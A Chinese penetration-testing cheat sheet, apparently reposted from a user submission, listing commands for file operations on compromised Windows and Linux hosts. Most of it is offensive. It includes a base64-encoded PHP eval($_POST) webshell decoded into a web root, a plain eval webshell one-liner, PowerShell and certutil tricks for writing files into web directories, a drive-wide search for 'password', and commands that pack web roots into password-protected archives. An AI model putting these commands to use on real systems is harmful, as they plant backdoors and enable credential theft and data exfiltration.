【实战】渗透测试下的文件操作
目录
Linux查找文件
Windows查找文件
查找可写目录
windows
Linux
创建
Windows
Linux
压缩
解压
远程解压文件
Linux查找文件
>find / -name index.php
查找木马文件
>find . -name '*.php' | xargs grep -n 'eval('
>find . -name '*.php' | xargs grep -n 'assert('
>find . -name '*.php' | xargs grep -n 'system('
Windows查找文件
>cd /d E: && dir /b /s index.php
>find /N /I "root" config.php
>for /r E:\ %i in (config*.php) do @echo %i
>for /r E:\ %i in (*.txt) do @echo %i
>findstr /s /n "password" c:\*
>powershell Get-ChildItem d:\ -Include index.php -recurse
查找可写目录
windows
在C:\Users\administrator\Desktop任意子目录 war.txt文件的同目录下
写
for /f %i in ('dir /s /b C:\Users\administrator\Desktop\war.txt') do (echo %i > %i\..\finddir.txt)
删
for /f %i in ('dir /s /b C:\Users\administrator\Desktop\war.txt') do (del %i\..\finddir.txt)
在C:\Users\administrator\Desktop任意子目录 war文件夹下
写
for /f %i in ('dir /s /b C:\Users\administrator\Desktop\war') do (echo %i > %i\finddir.txt)
删
for /f %i in ('dir /s /b C:\Users\administrator\Desktop\war') do (del %i\finddir.txt)
Linux
在/root war文件的同目录下
写
find /root -name war|while read file;do sh -c "echo $file">$(dirname $file)/finddir.txt;done
删
find /root -name war|while read file;do sh -c "rm $(dirname $file)/finddir.txt";done
在/root war文件夹下
写
find /root -name war|while read file;do sh -c "echo $file">$file/finddir.txt;done
删
find /root -name war|while read file;do sh -c "rm $file/finddir.txt";done
创建
Windows
读文本文件:
>file = Get-Content "1.txt"
>file
写文件
>powershell Set-content "1.txt" "wocao"
&
>powershell "write-output ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String(\"d2Vic2hlbGw=\"))) | out-file -filepath c:\www\wwwroot\1.aspx;"
或
>set /p=^<?php phpinfo()?^><nul>c:\1.php
或
>echo ^<?php phpinfo()?^>>c:\1.php
追加内容
>echo 111>>c:\1.php
不换行追加
>set /p="222">>c:\1.php
分段不换行追加
>echo|set /p=\"PCFET0NUWVBFIGh0bWw+IDxodG1sPiA8aGVhZD4gPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiIC8+PGgxPjIwMjHlubR4eHjnvZHnu5zlronlhajlrp7miJjmvJTnu4M8L2gxPg==\" > D:\www\1.txt
读/写入命令无空格
>type;c:\1.php
>echo.111>>c:\1.php
>echo,111>>c:\1.php
写入特殊字符
>certutil -f -decode 1.txt C:\\1.php
>certutil -decodehex 1.txt C:\\1.php
Linux
>echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=|base64 -d > /var/www/html/shell.php
>echo \<\?php eval\(\@\$_POST\[1\]\)\; \?\> >1.php
压缩
>rar.exe a –k –r –s –m3 C:\1.rar C:\wwwroot
>7z.exe a –r –p12345 C:\1.7z C:\wwwroot
解压
>rar.exe e c:\wwwroot\1.rar
>7z.exe x –p12345 C:\1.7z –oC:\wwwroot
远程解压文件
pip install remotezip
#列出远程压缩包文件内容
remotezip -l http://site/bigfile.zip
#解压里面的文件
remotezip "http://site/bigfile.zip" "file.txt"
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.dtcms.com/a/101298.html
如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!